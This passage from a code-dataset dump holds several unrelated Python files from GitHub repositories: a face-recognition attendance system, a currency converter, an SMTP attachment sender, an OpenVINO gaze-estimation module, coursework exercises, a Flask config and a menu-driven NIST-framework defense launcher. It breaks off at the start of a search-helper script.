mycursor.execute(update_sql, val)\n mydb.commit()\n logger.info(str(mycursor.rowcount)+\" 条记录被修改\")\n else:\n sql = \"INSERT INTO my_attendance_table (n_name) VALUES (%s)\"\n val = [name]\n mycursor.execute(sql, val)\n mydb.commit()\n logger.info(str(mycursor.rowcount)+\" 记录插入成功\")\n else:\n sql = \"INSERT INTO my_attendance_table (n_name) VALUES (%s)\"\n val = [name]\n mycursor.execute(sql, val)\n mydb.commit()\n logger.info(str(mycursor.rowcount)+\" 记录插入成功\")\n\n\n def load_and_align_data(self,img, image_size, margin,pnet, rnet, onet):\n minsize = 20\n threshold = [0.6, 0.7, 0.7]\n factor = 0.709\n img_size = np.asarray(img.shape)[0:2]\n bounding_boxes, _ = align.detect_face.detect_face(img, minsize, pnet, rnet, onet, threshold, factor)\n\n if len(bounding_boxes) < 1:\n return 0, 0, 0\n det = bounding_boxes\n det[:, 0] = np.maximum(det[:, 0] - margin / 2, 0)\n det[:, 1] = np.maximum(det[:, 1] - margin / 2, 0)\n det[:, 2] = np.minimum(det[:, 2] + margin / 2, img_size[1] - 1)\n det[:, 3] = np.minimum(det[:, 3] + margin / 2, img_size[0] - 1)\n\n det = det.astype(int)\n crop = []\n for i in range(len(bounding_boxes)):\n temp_crop = img[det[i, 1]:det[i, 3], det[i, 0]:det[i, 2], :]\n aligned = misc.imresize(temp_crop, (image_size, image_size), interp='bilinear')\n prewhitened = facenet.prewhiten(aligned)\n crop.append(prewhitened)\n\n crop_image = np.stack(crop)\n return 1, det, crop_image\n\n def read_mysql(self,mydb):\n mycursor = mydb.cursor()\n mycursor.execute(self.FLAGS.query_sql)\n myresult = mycursor.fetchall()\n name_dict = {}\n for x in myresult:\n id, name, img_id = x\n name_dict[img_id] = name\n return name_dict\n\n def read_log(self):\n name_dict = {}\n print(self.FLAGS.file_name)\n with open(self.FLAGS.file_name,'r',encoding='utf8') as f:\n for line in f.readlines():\n line.strip('\\n').split('=')[0]\n name_dict[line.strip('\\n').split('=')[1]] = line.strip('\\n').split('=')[0]\n return name_dict\n\ndef init_mysqldb():\n try:\n mydb = mysql.connector.connect(**config)\n except mysql.connector.Error as e:\n logger.error('connect fails!{}'.format(e))\n logger.info('connect create success!')\n return mydb\n\nif __name__=='__main__':\n #按ESC键,退出\n FLAGS = tf.app.flags.FLAGS\n mydb = init_mysqldb()\n # 是否读取数据库\n is_read_mysql = True\n app = QApplication(sys.argv)\n with tf.Session() as sess:\n facenet.load_model(FLAGS.model_path)\n facenet_detect = PyFacenetDetect(mydb, FLAGS, is_read_mysql, sess)\n facenet_detect.show()\n sys.exit(app.exec_())\n","repo_name":"Wormhole307/my_facenet_project","sub_path":"AttendanceSystem.py","file_name":"AttendanceSystem.py","file_ext":"py","file_size_in_byte":11055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15392597434","text":"import requests\r\nimport json\r\nfrom config import keys\r\n\r\nclass ConvertionException(Exception):\r\n pass\r\n\r\nclass CryptoConventer:\r\n @staticmethod\r\n def convert(quote: str, base: str, amount: str):\r\n if quote == base:\r\n raise ConvertionException(f'Вы ввели одинаковые валюты {base}.')\r\n try:\r\n quote_ticker = keys[quote]\r\n except KeyError:\r\n raise ConvertionException(f'Не удалось обра��отать валюту {quote}, проверьте корректность ввода, список валют можно получить по команде: /values ')\r\n\r\n try:\r\n base_ticker = keys[base]\r\n except KeyError:\r\n raise ConvertionException(f'Не удалось обработать валюту {base}')\r\n try:\r\n amount = float(amount)\r\n except ValueError:\r\n raise ConvertionException(f'Не верно введено количество {amount}')\r\n\r\n r = requests.get(f'https://min-api.cryptocompare.com/data/price?fsym={quote_ticker}&tsyms={base_ticker}')\r\n total_base = json.loads(r.content)[keys[base]]*amount\r\n return total_base","repo_name":"lebedevyv69/ConvertValuteBOT","sub_path":"extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35314368901","text":"import smtplib\nimport sys\nfrom email import encoders\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\n\n\n# Open file and read all lines\nlocation = sys.path[0]\nwith open(f\"{location}/test_creds.txt\", 'r') as f:\n lines = f.readlines()\n\nargs = []\nimg_paths = []\ni = 0\n\n# Iterate over each line read from the file and retrieve the args\nfor line in lines:\n line = line.strip()\n if i < 8:\n args.append(line)\n else:\n img_paths.append(line)\n i += 1\n\n# Establish connection with gmail http service\nserver = smtplib.SMTP(args[0], int(args[1]))\nserver.ehlo()\nserver.starttls()\nserver.ehlo()\n\n# Implement the args\nsender_email = args[2]\nsender_pwd = args[3]\nsender_name = args[4]\ntarget = args[5]\nsubject = args[6]\n\n# Login to mailing service\nserver.login(sender_email, sender_pwd)\n\n# Create message\nmsg = MIMEMultipart()\nmsg['From'] = sender_name\nmsg['To'] = target\nmsg['Subject'] = subject\n\n# Read text data\nwith open(f\"{location}/{args[7]}\", 'r') as f:\n message = f.read()\n\n# Attach the message to the email, and search for file attachments\n# TO-DO (Maybe?) Add a method to send the same image multiple times.\nmsg.attach(MIMEText(message, 'plain'))\nfor j in range(len(img_paths)):\n filename = img_paths[j]\n attachment = open(f\"{location}/{filename}\", 'rb')\n\n p = MIMEBase('application', 'octet-stream')\n p.set_payload(attachment.read())\n\n encoders.encode_base64(p)\n p.add_header('Content-Disposition', f'attachment; filename={filename.split(\"/\")[-1]}')\n msg.attach(p)\n\n# Convert data to a valid email\ntext = msg.as_string()\n\n# Send the email to the target\nserver.sendmail(sender_email, target, text)","repo_name":"Sxvaaze/Scripts","sub_path":"EmailSender/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71532367094","text":"'''\nThis is a sample class for a model. You may choose to use it as-is or make any changes to it.\nThis has been provided just to give you an idea of how to structure your model class.\n'''\nfrom openvino.inference_engine import IENetwork, IECore\nimport cv2\nimport numpy as np\nimport math\nimport time\nfrom model import Model_X\n\n\nclass GazeEstimation(Model_X):\n '''\n Class for the Face Detection Model.\n '''\n \n def __init__(self, model_name, device='CPU', extensions=None):\n super().__init__(model_name, device='CPU', extensions=None)\n \n def predict(self, image, face, fbox, left_eye_image, right_eye_image, hpa, display_flag=True):\n '''\n TODO: You will need to complete this method.\n This method is meant for running predictions on the input image.\n '''\n p_frame, p_left_eye_image, p_right_eye_image = self.preprocess_input(image, face, left_eye_image, right_eye_image)\n \n #Get multiple input\n net_input = {\"head_pose_angles\":hpa, \"left_eye_image\":p_left_eye_image, \"right_eye_image\":p_right_eye_image}\n\n start=time.time()\n self.net.start_async(request_id=0, \n inputs=net_input)\n status = self.net.requests[0].wait(-1)\n if status == 0:\n inference_time = time.time()- start\n outputs = self.net.requests[0].outputs[self.output_name]\n image,gaze_vector = self.preprocess_output(p_frame, left_eye_image, right_eye_image, hpa,outputs, display_flag)\n \n return image, gaze_vector, inference_time\n\n# From : https://github.com/baafw/openvino-eye-gaze-estimation/blob/6aef85b22a495dac6fc50b6e4cbf7a0fd7439ec5/src/gaze_estimation.py#L134\n def preprocess_input(self, frame, face, left_eye_point, right_eye_point):\n '''\n Before feeding the data into the model for inference,\n you might have to preprocess it. This function is where you can do that.\n '''\n lefteye_input_shape = [1,3,60,60] \n righteye_input_shape = [1,3,60,60] \n\n # crop left eye\n x_center = left_eye_point[0]\n y_center = left_eye_point[1]\n width = lefteye_input_shape[3]\n height = lefteye_input_shape[2]\n # ymin:ymax, xmin:xmax \n facewidthedge = face.shape[1]\n faceheightedge = face.shape[0]\n \n # check for edges to not crop\n ymin = int(y_center - height//2) if int(y_center - height//2) >=0 else 0 \n ymax = int(y_center + height//2) if int(y_center + height//2) <=faceheightedge else faceheightedge\n\n xmin = int(x_center - width//2) if int(x_center - width//2) >=0 else 0 \n xmax = int(x_center + width//2) if int(x_center + width//2) <=facewidthedge else facewidthedge\n\n print_flag = True\n left_eye_image = face[ymin: ymax, xmin:xmax]\n # print out left eye to frame\n if(print_flag):\n frame[150:150+left_eye_image.shape[0],20:20+left_eye_image.shape[1]] = left_eye_image\n # left eye [1x3x60x60]\n p_frame_left = cv2.resize(left_eye_image, (lefteye_input_shape[3], lefteye_input_shape[2]))\n p_frame_left = p_frame_left.transpose((2,0,1))\n p_frame_left = p_frame_left.reshape(1, *p_frame_left.shape)\n\n # crop right eye\n x_center = right_eye_point[0]\n y_center = right_eye_point[1]\n width = righteye_input_shape[3]\n height = righteye_input_shape[2]\n # ymin:ymax, xmin:xmax \n # check for edges to not crop\n ymin = int(y_center - height//2) if int(y_center - height//2) >=0 else 0 \n ymax = int(y_center + height//2) if int(y_center + height//2) <=faceheightedge else faceheightedge\n\n xmin = int(x_center - width//2) if int(x_center - width//2) >=0 else 0 \n xmax = int(x_center + width//2) if int(x_center + width//2) <=facewidthedge else facewidthedge\n\n right_eye_image = face[ymin: ymax, xmin:xmax]\n # print out left eye to frame\n \n if(print_flag):\n frame[150:150+right_eye_image.shape[0],100:100+right_eye_image.shape[1]] = right_eye_image\n \n # right eye [1x3x60x60]\n p_frame_right = cv2.resize(right_eye_image, (righteye_input_shape[3], righteye_input_shape[2]))\n p_frame_right = p_frame_right.transpose((2,0,1))\n p_frame_right = p_frame_right.reshape(1, *p_frame_right.shape)\n\n return frame, p_frame_left, p_frame_right\n\n\n\n# From : https://knowledge.udacity.com/questions/254779\n def preprocess_output(self,image, left_eye_image, right_eye_image, hpa, outputs, display_flag):\n '''\n Before feeding the output of this model to the next model,\n you might have to preprocess the output. This function is where you can do that.\n '''\n gaze_vector = outputs[0]\n roll = gaze_vector[2]\n gaze_vector = gaze_vector / np.linalg.norm(gaze_vector)\n cs = math.cos(roll * math.pi / 180.0)\n sn = math.sin(roll * math.pi / 180.0)\n tmpX = gaze_vector[0] * cs + gaze_vector[1] * sn\n tmpY = -gaze_vector[0] * sn + gaze_vector[1] * cs\n\n cv2.putText(image,\"x:\"+str('{:.1f}'.format(tmpX*100))+\",y:\"+str('{:.1f}'.format(tmpY*100)), (20, 100), 0,0.6, (0,0,255), 1)\n\n return image, (gaze_vector)\n \n ","repo_name":"BrainTheos/openvino-computer-pointer-controller-project","sub_path":"starter/src/gaze_estimation.py","file_name":"gaze_estimation.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40373578245","text":"class stack:\n items=[]\n def push(self,item):\n self.items.append(item)\n def size(self):\n return len(self.items)\n def top(self):\n return self.items[len(self.items)-1]\n def pop(self):\n self.items.pop(len(self.items)-1)\n def empty(self):\n return self.items==[]\ndef hesabla(a,b,i):\n if i=='+':\n return a+b\n elif i=='-':\n return a-b\n elif i=='*':\n return a*b\n elif i=='/':\n return a/b\n\ns=stack()\nemeliyyatlar='+-*/'\npostfix=input()\nfor simvol in postfix:\n if simvol.isdigit():\n s.push(int(simvol))\n elif simvol in emeliyyatlar:\n b=s.top()\n s.pop()\n a=s.top()\n s.pop()\n s.push(hesabla(a,b,simvol))\nprint(hesabla(a,b,simvol))\n","repo_name":"turalmehrali/e-olymp-solutions","sub_path":"1001 - 2000/1586 Postfiks qeyd | Python.py","file_name":"1586 Postfiks qeyd | Python.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"21"} +{"seq_id":"15515686360","text":"#!/usr/bin/env python3\nfrom sys import argv\n'''\ntask 7.1\n'''\n\n# routing_template = '''\n# Protocol: {0}\n# Prefix: {1}\n# AD/Metric: {2}\n# Next-Hop: {3}\n# Last update: {4}\n# Outbound Interface: {5}'''\n# try:\n# path = '/home/pashockys/progi_python/pyneng-examples-exercises/exercises/07_files/ospf.txt'\n# open(path, 'r')\n# except FileNotFoundError:\n# print('It seems that you are not at home')\n# path = '/home/pashockys/Scripts/Natasha/pyneng-examples-exercises/exercises/07_files/ospf.txt'\n#\n# with open(path, 'r') as f:\n# for line in f:\n# formatted_data = line.split()\n# if formatted_data[0] == 'O':\n# formatted_data[0] = 'OSPF'\n# for element in formatted_data:\n# if element.endswith(','):\n# formatted_data[formatted_data.index(element)] = element[:-1]\n# print(routing_template.format(formatted_data[0],\n# formatted_data[1],\n# formatted_data[2],\n# formatted_data[4],\n# formatted_data[5],\n# formatted_data[6]))\n\n'''\ntask 7.2\n'''\n# file_to_work_with = argv[1]\n# try:\n# path = '/home/pashockys/progi_python/pyneng-examples-exercises/exercises/07_files/'+file_to_work_with\n# open(path, 'r')\n# except FileNotFoundError:\n# print('It seems that you are not at home')\n# path = '/home/pashockys/Scripts/Natasha/pyneng-examples-exercises/exercises/07_files/'+file_to_work_with\n# with open(path, 'r') as f:\n# for line in f:\n# if line.startswith('!'):\n# continue\n# print(line.strip())\n'''\ntask 7.3a\n'''\n# try:\n# path = '/home/pashockys/progi_python/pyneng-examples-exercises/exercises/07_files/CAM_table.txt'\n# open(path, 'r')\n# except FileNotFoundError:\n# print('It seems that you are not at home')\n# path = '/home/pashockys/Scripts/Natasha/pyneng-examples-exercises/exercises/07_files/CAM_table.txt'\n# with open(path, 'r') as f:\n# alpha = f.readlines()[6:]\n# for line in alpha:\n# if \"DYNAMIC\" in line:\n# alpha[alpha.index(line)] = line.replace('DYNAMIC', '').strip()\n# output = []\n# for line in sorted(alpha):\n# output.append(int(line.split(' ')[0]))\n# output = sorted(output)\n# for item in output:\n# for line in alpha:\n# if item == int(line.split(' ')[0]):\n# print(line)\n# alpha.remove(line)\n# else:\n# continue\n# break\n\n'''\ntask 7.3b\n'''\nvlan_required = input('enter vlan number you want to see: ').split(',')\ntry:\n path = '/home/pashockys/progi_python/pyneng-examples-exercises/exercises/07_files/CAM_table.txt'\n open(path, 'r')\nexcept FileNotFoundError:\n print('It seems that you are not at home')\n path = '/home/pashockys/Scripts/Natasha/pyneng-examples-exercises/exercises/07_files/CAM_table.txt'\nwith open(path, 'r') as f:\n alpha = f.readlines()[6:]\nfor line in alpha:\n if \"DYNAMIC\" in line:\n alpha[alpha.index(line)] = line.replace('DYNAMIC', '').strip()\n\nfor vlan in vlan_required:\n match = False\n for line in alpha:\n if vlan == line.split(' ')[0]:\n match = True\n print(line)\n if match == False:\n print(f\"there is no such vlan as {vlan}\")\n# print(vlan_required)\n","repo_name":"pashockys/pashockys","sub_path":"chapter_7.py","file_name":"chapter_7.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15681398345","text":"#Вхрдные данные(кол-во строк и символов в них)\nn = int(input())\n#двумерный список, где будут храниться входные данные\nmas = []\n#входные данные\nfor i in range(n):\n arr = list(map(int, input().split()))\n mas.append(arr)\n\ndef IsSymmetric():\n #создадим новый массив, для того чтобы потом сравнить его с изначальным\n mas_clone = [[] for _ in range(n)]\n for i in range(n):\n for j in range(n):\n #если массив симметричный, то если столбцы превратить в строки, то будет то же самое\n mas_clone[i].append(mas[j][i])\n #сравниваем массивы\n if mas_clone == mas:\n return 'YES'\n return 'NO'\n\n\n\n\nprint(IsSymmetric())","repo_name":"TeleginSergey/HW3_python","sub_path":"6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32917584107","text":"ID = {'profile':{'first name':'a',\r\n 'last name':'a', \r\n 'age':0, \r\n 'address':{'country':'a', \r\n 'city':'a',\r\n 'street':'a',\r\n 'zipcode':0},\r\n 'scores':{'Mathematics':0,\r\n 'English':0,\r\n 'Spanish':0,\r\n 'Filosofy':0,\r\n 'Physical_Education':0,\r\n 'Theater':0,\r\n 'Programming':0}\r\n }}\r\n \r\n \r\n \r\n#subjects = ['Mathematics', 'English', 'Spanish', 'Filosofy', 'Physical_Education', 'Theater', 'Programming' ]\r\nprofile_keys = ID['profile'].keys()\r\n# print(\"prueba profile: \", prueba1)\r\n# prueba2 = ID['profile'].values()\r\n# print(\"prueba data profile: \", prueba2)\r\n\r\naddress_keys = ID['profile']['address'].keys()\r\n# print(\"prueba address: \", prueba3)\r\n# prueba4 = ID['profile']['address'].values()\r\n# print(\"prueba data address: \", prueba4)\r\n\r\nscore_keys = ID['profile']['scores'].keys()\r\nprint(\"prueba score keys: \", score_keys)\r\nscore_values = ID['profile']['scores'].values()\r\nprint(\"prueba score values: \", score_values)\r\ntotal_keys =len(profile_keys) + len(address_keys) + len(score_keys)\r\nprint(total_keys)\r\n\r\n\r\ncount = 0 \r\nfor data_profile in ID['profile'].keys():\r\n if count < 3:\r\n user = input(\"Enter your \" + data_profile + \" : \")\r\n ID['profile'][data_profile] = user\r\n count += 1\r\n\r\n elif count == 3:\r\n for data_address in ID['profile']['address'].keys():\r\n user = input(\"Enter your \" + data_address + \" : \")\r\n ID['profile']['address'][data_address] = user\r\n count += 1\r\n\r\n elif (count > 3 and count < total_keys-1):\r\n for data_scores in ID['profile']['scores'].keys():\r\n user = int(input(\"Enter your score in \" + data_scores + (\" : \")))\r\n ID['profile']['scores'][data_scores] = user\r\n count += 1\r\n\r\n else:\r\n print(\"Ron da error\")\r\n\r\n\r\nfor subjects, score in ID['profile']['scores'].items():\r\n if score > 90 and score < 100:\r\n print(\"In {} obtuvo {} is A\".format(subjects, score))\r\n if score > 70 and score < 89:\r\n print(\"In {} obtuvo {} is B\".format(subjects, score))\r\n if score > 60 and score < 69:\r\n print(\"In {} obtuvo {} is C\".format(subjects, score))\r\n if score > 50 and score < 59:\r\n print(\"In {} obtuvo {} is D\".format(subjects, score))\r\n if score > 0 and score < 49:\r\n print(\"In {} obtuvo {} is F\".format(subjects, score))\r\n\r\n\r\nprint(ID)","repo_name":"luiscursos/30daysOfPython","sub_path":"day_9/lab_add_students.py","file_name":"lab_add_students.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17043956157","text":"import os\n#将配置参数信息封装到一个类中,之后可以直接在该类中添加必要的参数信息\n\nbasedir=os.path.abspath(os.path.dirname(__file__))#数据库的顶级目录信息\nclass Config(object):\n #SECRET_KEY信息用于Flask_wtf模块生成令牌或密钥,防止CSRF攻击\n SECRET_KEY=os.environ.get('SECRET_KEY') or \"you-will-never-guess\"\n\n #添加数据库配置,开发时使用轻量级的SQLite,部署在服务器中使用MySQL,不用改变代码\n #默认数据库地址\n SQLALCHEMY_DATABASE_URI=os.environ.get(\"DATABASE_URL\") or \"sqlite:///\"+os.path.join(basedir,'app.db')\n SQLALCHEMY_TRACK_MODIFICATIONS = False#不向应用发送消息\n\n","repo_name":"hb3643259/Flask","sub_path":"Flask/app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33842115587","text":"import time\nimport subprocess\n\nstartup = \"\"\"\nAutomated Defense by Nathan Horiuchi\n\n ,,ggddY\"\"|'\"\"Ybbgg,,\n ,agd\"\"' | `\"\"bg,\n ,gdP\" | \"Ybg,\n ,dP\" | \"Yb,\n ,dP\" RC _,,ddP\"|\"Ybb,,_ ID \"Yb,\n ,8\" ,dP\"' `\"Yb, \"8,\n ,8' ,d\" \"b, `8,\n ,8'. d\" \"b .`8,\n d' '~. d' `b .~' `b\n 8 '~.8 CyberSecurity 8.~' 8\n 8 8 Framework 8 8\n 8 8 Version 1.1 8 8\n 8 Y, ,P 8\n Y, RS Ya aP PR ,P\n `8, \"Ya aP\" ,8'\n `8, /\"Yb,_ _,dP\"\\ ,8'\n `8a / `\"\"YbbgggddP\"\"' \\ a8'\n `Yba / \\ adP'\n \"Yba / \\ adY\" \n `\"Yba, DE ,adP\"' \n `\"Y8ba, ,ad8P\"' \n ``\"\"YYbaaadPP\"\"'' \n\n\nNIST CyberSecurity Framework Version 1.1\n\n1. Identify\n2. Protect\n3. Detect\n4. Respond\n5. Recover\n\"\"\"\n\n\ndef debug(message):\n outfile = open(\"debug.txt\")\n outfile.write(message + \"\\n\")\n outfile.close()\n\n\ndef coolprint(message):\n lines = message.split(\"\\n\")\n for line in lines:\n print(line)\n time.sleep(0.01)\n\n\ndef loadmodule(module):\n try:\n lines = open(\"modules/\" + module + \".cfg\").readlines()\n modules = []\n mod = []\n for line in lines:\n if line is not \"\\n\":\n mod.append(line)\n elif line is \"\\n\" and len(mod) != 0:\n modules.append(mod)\n mod = []\n if len(modules) != 0:\n return modules\n else:\n return \"Error occurred while parsing \" + module + \" configuration file: No modules loaded.\"\n except FileNotFoundError:\n print(\"No module \" + module + \".cfg found.\")\n quit()\n\n\ndef getmodules(modules, criteria):\n \"\"\"\n :param modules: List of all loaded modules (from loadmodule)\n :param criteria: List of answers given by users\n :return: List of modules that match the given criteria (answers)\n \"\"\"\n # If all the criteria is met, add the module to the list\n mods = []\n cnt = 0\n for module in modules:\n matches = []\n for i in range(len(criteria)):\n if criteria[i] in module[i]:\n matches.append(True)\n if len(matches) == len(criteria):\n mods.append(module)\n \"\"\"\n for module in modules:\n matches = []\n for crit in criteria:\n # if find(crit, module):\n if crit in module[cnt]:\n matches.append(True)\n if len(matches) == len(criteria):\n mods.append(module)\n \"\"\"\n return mods\n\n\ndef showoptions(array):\n print()\n for item in array:\n print(item)\n print()\n return input(\"Select a number from above or b to go back: \").strip()\n\n\ndef getparaminput(param):\n inp = input(param + \": \").strip()\n if \"ip\" in param.lower() or \"subnet\" in param.lower():\n if is_ip(inp):\n return inp\n else:\n print(\"IP validation failed. Try again.\")\n getparaminput(param)\n else:\n return inp\n\n\ndef getparams(module):\n params = []\n params_given = []\n for line in module:\n # Get all the params and store them in an array\n # Grab The Category\n row = line.split(\" \")[0]\n if \"Parameter\" in row:\n params.append(line.replace(\"Parameter\" + str(len(params)+1), \"\").strip())\n for param in params:\n print()\n inp = getparaminput(param)\n params_given.append(inp)\n return params_given\n\n\ndef getexecutecommand(module):\n for line in module:\n if \"Execute\" in line:\n return line.replace(\"Execute\", \"\").strip()\n\n\ndef execute(command, parameters):\n for i in range(len(parameters)):\n command = command.replace(\"[Parameter\" + str(i+1) + \"]\", parameters[i])\n if \"[Parameter\" + str(i+1) + \"_file]\" in command:\n command = command.replace(\"[Parameter\" + str(i+1) + \"_file]\", parameters[i].replace(\"/\", \"_\"))\n print()\n print(\"Executing: \" + command)\n try:\n subprocess.run(command)\n except FileNotFoundError:\n print(\"Error: Command not found. Exiting.\")\n\n\n# This function finds a piece of a string in a list\ndef find(needle, haystack):\n for hay in haystack:\n if needle in hay:\n return True\n else:\n return False\n\n\n# This function removes everything in [original] except [keep]\ndef reverse_replace(original, keep):\n return original.replace(original.replace(keep, \"\"), \"\")\n\n\ndef find_exact(needle, haystack):\n for hay in haystack:\n hay = reverse_replace(hay, needle)\n if needle == hay:\n return True\n else:\n return False\n\n\ndef is_ipv4(hosts):\n \"\"\"\n Function to validate IPv4 Addresses\n :param hosts: Takes a single host or subnet (ex. 127.0.0.1/24)\n :return: Boolean True or False\n \"\"\"\n hosts = hosts.strip()\n if \"/\" not in hosts:\n # Assume that if no mask is specified, use a single host mask\n hosts = hosts + \"/32\"\n # Check if there are 4 octets and a cidr mask\n if hosts.count(\".\") == 3:\n # Check if the octets are no more than 255\n mask = int(hosts.split(\"/\")[-1])\n octets = hosts.split(\"/\")[0].split(\".\")\n for octet in octets:\n octet = int(octet)\n if octet <= 255:\n if mask <= 32:\n # OK!\n pass\n else:\n return False\n else:\n return False\n return True\n else:\n return False\n\n\ndef is_ipv6(hosts):\n \"\"\"\n Function to validate IPv6 Addresses\n :param hosts: Takes a single host or subnet\n :return: Boolean True or False\n \"\"\"\n hosts = hosts.strip()\n if \"/\" not in hosts:\n # Assume that if no mask is specified, use a single host mask\n hosts = hosts + \"/128\"\n if \":\" in hosts:\n mask = int(hosts.split(\"/\")[-1])\n groups = hosts.split(\"/\")[0].split(\":\")\n for group in groups:\n if len(group) is not 0 and len(group) <= 4:\n try:\n group = int(group, 16)\n except Exception as e:\n return False\n else:\n return False\n return True\n else:\n return False\n\n\ndef is_ip(hosts):\n if is_ipv4(hosts) or is_ipv6(hosts):\n return True\n return False\n\n\ndef getoptions(modules, part, answer=None):\n options = []\n for mod in modules:\n op = str(len(options)+1) + \". \" + mod[part].replace(\"Option\"+str(part+1), \"\").strip()\n if not find(mod[part].replace(\"Option\"+str(part+1), \"\").strip(), options):\n options.append(op)\n return options\n\n\ndef level0(module, part, answer=None, modules=None, answers=None):\n \"\"\"\n :param module: String of the name of the config file to load\n :param part: Integer keeping track of which line of a module we are looking at\n :param answer: String of the last given answer\n :param modules: List of the loaded modules from the module config\n :param answers: List of all previous answers given in a runtime\n \"\"\"\n if modules is None:\n modules = loadmodule(module)\n if type(modules) is str: # If modules is a string, it failed to load and produced an error message\n print(modules) # Print the error message\n quit() # Quit the program\n else: # Modules loaded successfully\n options = [] # Holds a list of options for the user to choose from\n if answer is None: # No answer is given, thus we need to load the first level options\n for mod in modules:\n op = str(len(options)+1) + \". \" + mod[part].replace(\"Option\"+str(part+1), \"\").strip()\n if not find(mod[part].replace(\"Option\"+str(part+1), \"\").strip(), options):\n options.append(op)\n inp = showoptions(options)\n if inp.strip() is \"b\":\n homepage()\n else:\n matches = False\n for item in options:\n if inp in item.split(\" \")[0]:\n level0(module, part+1, item.replace(inp + \".\", \"\").strip(), modules, [item.replace(inp + \".\", \"\").strip()])\n matches = True\n # break\n if not matches:\n level0(module, part, answer, modules, answers)\n else: # An answer is given\n counter = 1\n # Get all the modules that fit the current description\n mods = getmodules(modules, answers)\n for mod in mods:\n op = mod[part]\n # Since there are multiple options for a given level, we have to deal with that outside the loop\n if \"Option\" in op:\n op = str(counter) + \". \" + mod[part].replace(\"Option\" + str(part + 1), \"\").strip()\n if not find(mod[part].replace(\"Option\" + str(part + 1), \"\").strip(), options):\n options.append(op)\n counter += 1\n # There should only be one valid parameter or execute for each module at each level\n elif \"Parameter\" in op:\n # Get the parameters from the module\n # Get the execute statement\n # Execute the command with the parameters\n execute(getexecutecommand(mod), getparams(mod))\n break\n \"\"\"\n for mod in modules:\n # print(\"Module part: \" + mod[part-1])\n # If the answer to the previous iteration is found in the module at the given part\n # if find(answer, mod):\n reverse_replace = mod[part-1].replace(answer, \"\").strip()\n # print(answer + \" = \" + mod[part - 1].replace(reverse_replace, \"\").strip())\n if answer == mod[part-1].replace(reverse_replace, \"\").strip():\n # print(\" = \" + mod[part-1].replace(reverse_replace, \"\").strip())\n # Grab the current part\n op = mod[part]\n # Since there are multiple options for a given level, we have to deal with that outside the loop\n if \"Option\" in op:\n op = str(counter) + \". \" + mod[part].replace(\"Option\"+str(part+1), \"\").strip()\n if not find(mod[part].replace(\"Option\"+str(part+1), \"\").strip(), options):\n options.append(op)\n counter += 1\n # There should only be one valid parameter or execute for each module at each level\n elif \"Parameter\" in op:\n # Get the parameters from the module\n # Get the execute statement\n # Execute the command with the parameters\n execute(getexecutecommand(mod), getparams(mod))\n break \n \"\"\"\n # Now that we're outside the for loop, we can handle the options\n if len(options) > 0:\n inp = showoptions(options)\n if inp.strip() is \"b\":\n # Remove the last answer\n if len(answers) > 1:\n answers.remove(answers[-1])\n level0(module, part-1, answers[-1], modules, answers)\n else:\n level0(module, part-1, None, modules, None)\n matches = False\n for item in options:\n if inp in item.split(\" \")[0]:\n # print(\"answer=\" + item.replace(inp + \".\", \"\").strip())\n answers.append(item.replace(inp + \".\", \"\").strip())\n level0(module, part+1, item.replace(inp + \".\", \"\").strip(), modules, answers)\n matches = True\n break\n if not matches:\n level0(module, part, answer, modules, answers)\n\n\ndef homepage():\n coolprint(startup)\n selection = input(\"Select a number from above or q to quit: \").strip()\n if selection is \"1\":\n level0(\"identify\", 0)\n elif selection is \"2\":\n level0(\"protect\", 0)\n elif selection is \"3\":\n level0(\"detect\", 0)\n elif selection is \"4\":\n level0(\"respond\", 0)\n elif selection is \"5\":\n level0(\"recover\", 0)\n elif selection is \"q\" or selection == \"quit\" or selection == \"exit\":\n print(\"Exiting\")\n quit()\n else:\n print(\"Bad input. Please enter a number 1-5 or q\")\n homepage()\n\n\nif __name__ == '__main__':\n homepage()\n","repo_name":"SimplyNate/AutomatedDefense","sub_path":"old/autodefense_v2.py","file_name":"autodefense_v2.py","file_ext":"py","file_size_in_byte":13128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8770269355","text":"#Coded by : Ph.raku / J4R0S\r\n\r\nimport sys\r\nimport time\r\nimport os\r\n\r\n# custom speed strings\r\ndef slow(s):\r\n for c in s + '\\n' :\r\n sys.stdout.write(c)\r\n sys.stdout.flush()\r\n time.sleep(10. / 100)\r\ndef med(s):\r\n for c in s + '\\n' :\r\n sys.stdout.write(c)\r\n sys.stdout.flush()\r\n time.sleep(4. / 100)\r\ndef fast(s):\r\n for c in s + '\\n' :\r\n sys.stdout.write(c)\r\n sys.stdout.flush()\r\n time.sleep(2. / 170)\r\n\r\ntry:\r\n from googlesearch import search\r\n\r\nexcept ImportError:\r\n fast(\"[!] you mush install google ..\")\r\n med(\"[*] wait a moment, this program will install the module ...\")\r\n os.system(\"pip3 install google\")\r\n time.sleep(3)\r\n med(\"[*] done ...\")\r\n\r\ndef banner():\r\n print(\"\"\"\r\n __ _ _ ___ _ \r\n| _ \\ _ _ _| | _()_ _ _ |_ |_ _ | |___ \r\n| | | |/ _ \\| '_| |/ / | ' \\ / _` || |/ _ \\ / _ \\| / __|\r\n| |_| | () | | | <| | | | | (_| 